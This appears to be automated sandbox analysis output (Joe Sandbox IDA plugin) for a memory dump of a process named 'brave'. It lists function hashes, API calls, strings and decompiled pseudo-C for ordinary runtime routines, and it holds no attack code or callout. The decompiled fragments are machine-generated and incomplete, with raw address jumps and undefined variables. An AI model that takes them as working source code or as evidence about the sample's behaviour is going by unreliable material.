Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcpy$wcslen
String ID: basic_string::append
API String ID: 1844840824-3811946249
Opcode ID: 6cebfcec6de9b3593e030ed6678d1432fc8d21d84097160306933d0743cdec40
Instruction ID: 7fbffbdaac99a7227d43a9b55e15ee12166f254570003ca2b63906eb263ed396
Opcode Fuzzy Hash: 6cebfcec6de9b3593e030ed6678d1432fc8d21d84097160306933d0743cdec40
Instruction Fuzzy Hash: D5519E73A39A8980EA10EB19D8045B9A321FB55FC4BD98632EE1D473F9EE38E541C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF0BAC0 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 158stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF77BF0BAD2
memcpy.MSVCRT ref: 00007FF77BF0BB22
memcpy.MSVCRT ref: 00007FF77BF0BBDD

Strings

basic_string::append, xrefs: 00007FF77BF0BB7D, 00007FF77BF0BC3B

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: memcpy$strlen
String ID: basic_string::append
API String ID: 2619041689-3811946249
Opcode ID: e52a5d2963f204db0f47163310a085c06c72244473eb4e09b667bfb4340310bf
Instruction ID: bffd4395b6a5dadf3658ae901b5d894da83c361a52efc6faceb83efbd528d421
Opcode Fuzzy Hash: e52a5d2963f204db0f47163310a085c06c72244473eb4e09b667bfb4340310bf
Instruction Fuzzy Hash: 595182B3639ACA81DA20EB19D858679A354BB46FD4FC88532ED6D473BADE2CD441C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF10750 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BF10750(long long* __rcx, void* __rdx) {
				short _t7;
				long long _t15;
				signed long long _t17;
				signed long long _t19;
				signed long long _t20;

				_t20 =  *((intOrPtr*)(__rdx + 8));
				_t17 = _t20 + _t20;
				_t15 = __rcx + 0x10;
				_t19 = _t17 >> 1;
				 *__rcx = _t15;
				if (_t17 - 0xe > 0) goto 0x7bf107c0;
				if (_t19 == 1) goto 0x7bf107b0;
				if (_t19 != 0) goto 0x7bf107a0;
				 *(__rcx + 8) = _t19;
				 *((short*)(_t15 + _t20 * 2)) = _t7;
				return _t7;
			}

0x7ff77bf1075a
0x7ff77bf1075e
0x7ff77bf10769
0x7ff77bf1076d
0x7ff77bf10770
0x7ff77bf1077a
0x7ff77bf10780
0x7ff77bf10785
0x7ff77bf10789
0x7ff77bf1078d
0x7ff77bf1079b

Strings

string::string, xrefs: 00007FF77BF108E8
basic_string::_M_create, xrefs: 00007FF77BF107F7
basic_string::basic_string, xrefs: 00007FF77BF10841, 00007FF77BF10898
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF77BF10848, 00007FF77BF1089F, 00007FF77BF108EF

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 0-126128797
Opcode ID: 66f3f228ea3a18784f6c83e61baa3469eb30d59ff27e738029579d98566150f7
Instruction ID: fef2161e2d9c6426556668a2c184ef211cf7561bd5bcfde87b2c0ffd8a1457a1
Opcode Fuzzy Hash: 66f3f228ea3a18784f6c83e61baa3469eb30d59ff27e738029579d98566150f7
Instruction Fuzzy Hash: 2C4195B3B35B89D4EB10AF29D4404ACA360F758F98BD45D32DA1C077A8EE2CD556C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BF10290 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BF10290(long long* __rcx, void* __rdx) {
				short _t7;
				long long _t15;
				signed long long _t17;
				signed long long _t19;
				signed long long _t20;

				_t20 =  *((intOrPtr*)(__rdx + 8));
				_t17 = _t20 + _t20;
				_t15 = __rcx + 0x10;
				_t19 = _t17 >> 1;
				 *__rcx = _t15;
				if (_t17 - 0xe > 0) goto 0x7bf10300;
				if (_t19 == 1) goto 0x7bf102f0;
				if (_t19 != 0) goto 0x7bf102e0;
				 *(__rcx + 8) = _t19;
				 *((short*)(_t15 + _t20 * 2)) = _t7;
				return _t7;
			}

0x7ff77bf1029a
0x7ff77bf1029e
0x7ff77bf102a9
0x7ff77bf102ad
0x7ff77bf102b0
0x7ff77bf102ba
0x7ff77bf102c0
0x7ff77bf102c5
0x7ff77bf102c9
0x7ff77bf102cd
0x7ff77bf102db

Strings

string::string, xrefs: 00007FF77BF10428
basic_string::_M_create, xrefs: 00007FF77BF10337
basic_string::basic_string, xrefs: 00007FF77BF10381, 00007FF77BF103D8
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF77BF10388, 00007FF77BF103DF, 00007FF77BF1042F

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 0-126128797
Opcode ID: fa530074e51c7f9f7c906e36678571559d185e73af13ed167796c0c752426d85
Instruction ID: df9ccff036688b434102f93ddd5ea899fb47c04cc16657bdcf739e5f74d837ea
Opcode Fuzzy Hash: fa530074e51c7f9f7c906e36678571559d185e73af13ed167796c0c752426d85
Instruction Fuzzy Hash: 264183B3B35BC9D5EB10AF29D4404ACA360E758F98BD45A32DA1C077A8EE2CD556C310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF0640 Relevance: 7.6, APIs: 5, Instructions: 122
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BEF0640(void* __rax, void* __rcx, void* __rdx) {
				void* _t4;
				void* _t6;
				void* _t17;
				void* _t20;
				void* _t23;
				intOrPtr* _t27;
				intOrPtr* _t28;

				_t23 = __rdx;
				_t17 = __rax;
				if (__rdx == 0) goto 0x7bef066f;
				E00007FF77FF77BEF7400(_t4, __rdx);
				_t6 = E00007FF77FF77BEF73B0(_t17, _t23);
				if (_t17 - _t17 > 0) goto 0x7bef06b0;
				_t27 =  *_t28;
				_t1 = _t27 + 3; // 0x3
				if (_t1 - 3 <= 0) goto 0x7bef06d1;
				if (_t27 == 0) goto 0x7bef06e4;
				r13d = 1;
				 *_t27 = r13d;
				if (_t20 != 0) goto 0x7bef0708;
				if (_t23 != 0) goto 0x7bef06f8;
				return _t6;
			}

0x7ff77bef0640
0x7ff77bef0640
0x7ff77bef0659
0x7ff77bef065b
0x7ff77bef0665
0x7ff77bef066d
0x7ff77bef066f
0x7ff77bef0673
0x7ff77bef067c
0x7ff77bef0681
0x7ff77bef0683
0x7ff77bef068c
0x7ff77bef0692
0x7ff77bef069b
0x7ff77bef06aa

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: f49b37cc6554afe07983d2b0d8d35f3757fbd10da3a986622ae24d0176cd62df
Instruction ID: cfa492cc972167741646c61fe2b89fbb9accac9181ed0794ca93bc13e6800249
Opcode Fuzzy Hash: f49b37cc6554afe07983d2b0d8d35f3757fbd10da3a986622ae24d0176cd62df
Instruction Fuzzy Hash: C041F433B382124AFBE5BE69980863AA284EF44394FC54135DD0C467D5EEBCB880C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF04E0 Relevance: 7.6, APIs: 5, Instructions: 102
threadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BEF04E0(intOrPtr* __rcx) {
				signed char _t3;
				void* _t15;
				void* _t16;

				_t17 =  *__rcx;
				_t1 = _t17 + 3; // 0x3
				if (_t1 - 3 <= 0) goto 0x7bef0540;
				if ( *__rcx == 0) goto 0x7bef0550;
				if (_t16 != 0) goto 0x7bef0560;
				if (_t15 != 0) goto 0x7bef0520;
				return _t3 ^ 0x00000024;
			}

0x7ff77bef04e9
0x7ff77bef04ec
0x7ff77bef04f5
0x7ff77bef04fa
0x7ff77bef0509
0x7ff77bef0512
0x7ff77bef051f

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF77BEF0520

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a892f5a888edd9dfb3e980655216f5831920c2c6f9fa8653408e139a634474d4
Instruction ID: 55ce5d391c76079bb1e9ae7540b751ff287b224566e31fdb4be4b39a813548c5
Opcode Fuzzy Hash: a892f5a888edd9dfb3e980655216f5831920c2c6f9fa8653408e139a634474d4
Instruction Fuzzy Hash: 1D31CB33F351128AFBA5AF18A84876A6194EF40361FD54434DE0C86795EEFCF885C360

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF52D0 Relevance: 7.6, APIs: 5, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00007FF77FF77BEF52D0(void* __ecx, void* __rax, long long __rdx) {
				void* _t11;
				void* _t16;
				void* _t19;
				signed long long _t20;
				signed long long _t25;

				_t16 = __rax;
				_t25 = _t20;
				r12d = GetLastError();
				E00007FF77FF77BEF2D40(__ecx, __rdx);
				_t1 = _t16 + 0x68; // 0x68
				_t19 = _t16;
				E00007FF77FF77BEF8830(_t1, __rdx);
				if ( *((intOrPtr*)(_t19 + 0x48)) - _t25 <= 0) goto 0x7bef5340;
				 *((long long*)( *((intOrPtr*)(_t19 + 0x50)) + _t25 * 8)) = __rdx;
				 *((char*)( *((intOrPtr*)(_t19 + 0x58)) + _t25)) = 1;
				_t11 = E00007FF77FF77BEF8870(_t1);
				SetLastError(??);
				return _t11;
			}

0x7ff77bef52d0
0x7ff77bef52e0
0x7ff77bef52eb
0x7ff77bef52ee
0x7ff77bef52f3
0x7ff77bef52f7
0x7ff77bef52fd
0x7ff77bef5305
0x7ff77bef530b
0x7ff77bef5316
0x7ff77bef531a
0x7ff77bef5322
0x7ff77bef533a

APIs

GetLastError.KERNEL32 ref: 00007FF77BEF52E5

Part of subcall function 00007FF77BEF2D40: TlsGetValue.KERNEL32 ref: 00007FF77BEF2DA0

SetLastError.KERNEL32 ref: 00007FF77BEF5322
realloc.MSVCRT(00000000,?,?,00007FF77BEE14F6,00007FF77BEF02FB,0000012490A517F0,00000000,00007FF898063CA0,00007FF77BEE32FA), ref: 00007FF77BEF5353
realloc.MSVCRT(00000000,?,?,00007FF77BEE14F6,00007FF77BEF02FB,0000012490A517F0,00000000,00007FF898063CA0,00007FF77BEE32FA), ref: 00007FF77BEF5367
memset.MSVCRT ref: 00007FF77BEF539D

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: ErrorLastrealloc$Valuememset
String ID:
API String ID: 2591390167-0
Opcode ID: c1310bef0b37995c8512101a0dfd18a475ef539f0a296ca77da5c8e920a0cdac
Instruction ID: f62b5bef2d9d02e9084f93d30468c1a48a69c53eb9b09ec1f3bf8b102e95d079
Opcode Fuzzy Hash: c1310bef0b37995c8512101a0dfd18a475ef539f0a296ca77da5c8e920a0cdac
Instruction Fuzzy Hash: 0221B233B3664189EB14BF2E980456DA395AF48B94FC40031ED0D173B9ED7CE885C350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF8880 Relevance: 7.6, APIs: 5, Instructions: 57COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF77BEF8898
ReleaseSemaphore.KERNEL32 ref: 00007FF77BEF88C6
LeaveCriticalSection.KERNEL32 ref: 00007FF77BEF88D3
LeaveCriticalSection.KERNEL32 ref: 00007FF77BEF88F3
LeaveCriticalSection.KERNEL32 ref: 00007FF77BEF8918

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CriticalSection$Leave$EnterReleaseSemaphore
String ID:
API String ID: 2813224205-0
Opcode ID: 50ea73615dfd6b47d2567a6e8e39e4969aa7ea6ce91bc3410475d5b7992722e5
Instruction ID: deee9f963aa8f368cf91072f50326a61ed901353842ce185d3dd2fb591c790c1
Opcode Fuzzy Hash: 50ea73615dfd6b47d2567a6e8e39e4969aa7ea6ce91bc3410475d5b7992722e5
Instruction Fuzzy Hash: A701F563F3561686EB49AF1ABC996A9D250BF9D772FC84575CD1D42350DD3CA8C28300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF9EC0 Relevance: 7.5, APIs: 5, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF77BEF9EC0(void* __rcx) {
				void* _t1;

				if (__rcx != 0) goto 0x7bef9ed8;
				return _t1;
			}

0x7ff77bef9ecb
0x7ff77bef9ed4

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF77BEF9ED8
OpenProcess.KERNEL32 ref: 00007FF77BEF9EEF
CloseHandle.KERNEL32 ref: 00007FF77BEF9EFD

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: Process$CloseCurrentHandleOpen
String ID:
API String ID: 2750122171-0
Opcode ID: 0481b6e7934421b3d5d1405471e27f862e5ab29bd4ffea2d44222b750cc16042
Instruction ID: caad5bfe8eedd620e22f56e403b558c958ceed5cd785f1dc6aeb5a81ff749799
Opcode Fuzzy Hash: 0481b6e7934421b3d5d1405471e27f862e5ab29bd4ffea2d44222b750cc16042
Instruction Fuzzy Hash: 68F0B4B7A386038AFB987FB5645407C91D1AF48715FC81934C55E413E4DE6CF4888230

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEEEB03 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00007FF77FF77BEEEB03() {
				void* _t7;
				signed long long _t12;
				signed long long _t14;
				intOrPtr* _t18;

				asm("stc");
				 *((intOrPtr*)((_t12 & 0x9ce9002b) + 0x41909090)) =  *((intOrPtr*)((_t12 & 0x9ce9002b) + 0x41909090)) + _t7;
				_t14 =  *((intOrPtr*)( *_t18));
				if ((_t14 & 0x20ffffff) == 0x20474343) goto 0x7beeebf0;
				if (_t14 - 0xc0000096 > 0) goto 0x7beeebd7;
				if (_t14 - 0xc000008b <= 0) goto 0x7beeeb88;
				if (_t14 + 0x3fffff73 - 9 > 0) goto 0x7beeeb78;
				goto __rax;
			}

0x7ff77beeeb03
0x7ff77beeeb0b
0x7ff77beeeb19
0x7ff77beeeb2c
0x7ff77beeeb37
0x7ff77beeeb42
0x7ff77beeeb4c
0x7ff77beeeb5c

APIs

signal.MSVCRT ref: 00007FF77BEEEBAA

Strings

CCG , xrefs: 00007FF77BEEEB26

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: 46604ae227c626b1be511848d822de1d4529c5c54d514a26e591d6aa839660e6
Instruction ID: 6650804c6ce9dd2ced795f5d16d377eb6f583ad897d4340901fad8c839425990
Opcode Fuzzy Hash: 46604ae227c626b1be511848d822de1d4529c5c54d514a26e591d6aa839660e6
Instruction Fuzzy Hash: A821B173E3854201FAF872BC44513B8B1819F4A364FE84B36D52E827FDDE9CA8818321

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF77BEF3D00 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 48
threadCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00007FF77FF77BEF3D00(void* __edi, long long __rcx, void* __rdx, long long _a8, long long _a32, long long _a40, intOrPtr _a96) {
				void* _t14;
				long _t16;
				intOrPtr _t20;
				intOrPtr _t21;
				long long _t24;

				_t20 =  *0x7c1a13e0; // 0x0
				_a8 = __rcx;
				if (_t20 == 0) goto 0x7bef3d9c;
				_t21 = _a8;
				if (_t21 != 0) goto 0x7bef3d50;
				r8d = GetCurrentThreadId();
				_pop(_t24);
				goto 0x7bf01680;
				asm("o16 nop [eax+eax]");
				E00007FF77FF77BEF3190(__edi, _a96);
				E00007FF77FF77BEF3190(__edi, _a96);
				GetCurrentThreadId();
				_t14 = E00007FF77FF77BEF3190(__edi, _a96);
				_a40 = _t24;
				r9d = __edi;
				r8d = _t16;
				_a32 =  *((intOrPtr*)(_t21 + 0x28));
				0x7bf01680();
				return _t14;
			}

0x7ff77bef3d08
0x7ff77bef3d0e
0x7ff77bef3d18
0x7ff77bef3d1e
0x7ff77bef3d26
0x7ff77bef3d3a
0x7ff77bef3d41
0x7ff77bef3d45
0x7ff77bef3d4a
0x7ff77bef3d55
0x7ff77bef3d63
0x7ff77bef3d6a
0x7ff77bef3d77
0x7ff77bef3d7c
0x7ff77bef3d81
0x7ff77bef3d84
0x7ff77bef3d87
0x7ff77bef3d96
0x7ff77bef3da4

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF77BEF3D28
GetCurrentThreadId.KERNEL32 ref: 00007FF77BEF3D6A

Strings

T%p %d V=%0X H=%p %s, xrefs: 00007FF77BEF3D8F
T%p %d %s, xrefs: 00007FF77BEF3D33

Memory Dump Source

Source File: 00000006.00000002.526228332.00007FF77BEE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF77BEE0000, based on PE: true

Associated: 00000006.00000002.526115903.00007FF77BEE0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526704610.00007FF77BF13000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.526747487.00007FF77BF15000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544027884.00007FF77C191000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544165368.00007FF77C193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544308885.00007FF77C199000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544444297.00007FF77C1A1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544509704.00007FF77C1A3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544524373.00007FF77C1A6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.544611365.00007FF77C1A7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff77bee0000_brave.jbxd

Similarity

API ID: CurrentThread
String ID: T%p %d %s$T%p %d V=%0X H=%p %s
API String ID: 2882836952-2059990036
Opcode ID: fb28173ffc3efe5c2c797d80106deafb06b5f9291af923cbf097269bcea0b66e
Instruction ID: e19fafa6f8161dce81250fc5b6f5542a3ef341b6f7591db5b3ccb4973ef629a9
